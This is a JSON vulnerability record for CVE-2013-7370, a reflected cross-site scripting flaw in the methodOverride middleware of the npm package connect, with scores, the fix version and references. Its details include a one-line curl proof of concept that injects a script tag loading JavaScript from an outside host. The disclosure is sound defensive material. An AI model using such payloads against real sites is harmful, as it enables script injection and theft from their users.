{"id":"CVE-2013-7370","aliases":["GHSA-3fw8-66wf-pr7m"],"url":"https://o3.security/vulnerability/CVE-2013-7370","summary":"methodOverride Middleware Reflected Cross-Site Scripting in connect","details":"Connect is a stack of middleware that is executed in order in each request.\n\nThe \"methodOverride\" middleware allows the http post to override the method of the request with the value of the \"_method\" post key or with the header \"x-http-method-override\".\n\nBecause the user post input was not checked, req.method could contain any kind of value. Because the req.method did not match any common method VERB, connect answered with a 404 page containing the \"Cannot `[method]` `[url]`\" content. The method was not properly encoded for output in the browser.\n\n\n###Example:\n```\n~ curl \"localhost:3000\" -d \"_method=<script src=http://nodesecurity.io/xss.js></script>\"\nCannot <SCRIPT SRC=HTTP://NODESECURITY.IO/XSS.JS></SCRIPT> /\n```\n\n## Recommendation\n\nUpdate to the newest version of Connect or disable methodOverride. It is not possible to avoid the vulnerability if you have enabled this middleware in the top of your stack.","published":"2019-12-11T14:15:09Z","modified":"2026-04-10T03:43:29.445865Z","cvss":{"score":6.1,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.01417,"percentile":0.70345,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"connect","fixedVersion":"2.8.1"}],"fix":{"url":"https://github.com/senchalabs/connect/commit/126187c4e12162e231b87350740045e5bb06e93a","label":"senchalabs/connect@126187c"},"references":[{"type":"ADVISORY","url":"http://www.openwall.com/lists/oss-security/2014/04/21/2"},{"type":"ADVISORY","url":"http://www.openwall.com/lists/oss-security/2014/05/13/1"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/cve-2013-7370"},{"type":"ADVISORY","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-7370"},{"type":"ADVISORY","url":"https://nodesecurity.io/advisories/methodOverride_Middleware_Reflected_Cross-Site_Scripting"},{"type":"ADVISORY","url":"https://security-tracker.debian.org/tracker/CVE-2013-7370"},{"type":"REPORT","url":"https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-7370"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2013-7370"},{"type":"WEB","url":"https://github.com/senchalabs/connect/issues/831"},{"type":"WEB","url":"https://github.com/senchalabs/connect/commit/126187c4e12162e231b87350740045e5bb06e93a"},{"type":"WEB","url":"https://github.com/senchalabs/connect/commit/277e5aad6a95d00f55571a9a0e11f2fa190d8135"},{"type":"WEB","url":"https://www.npmjs.com/advisories/3"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-04-10T03:43:29.445865Z"}}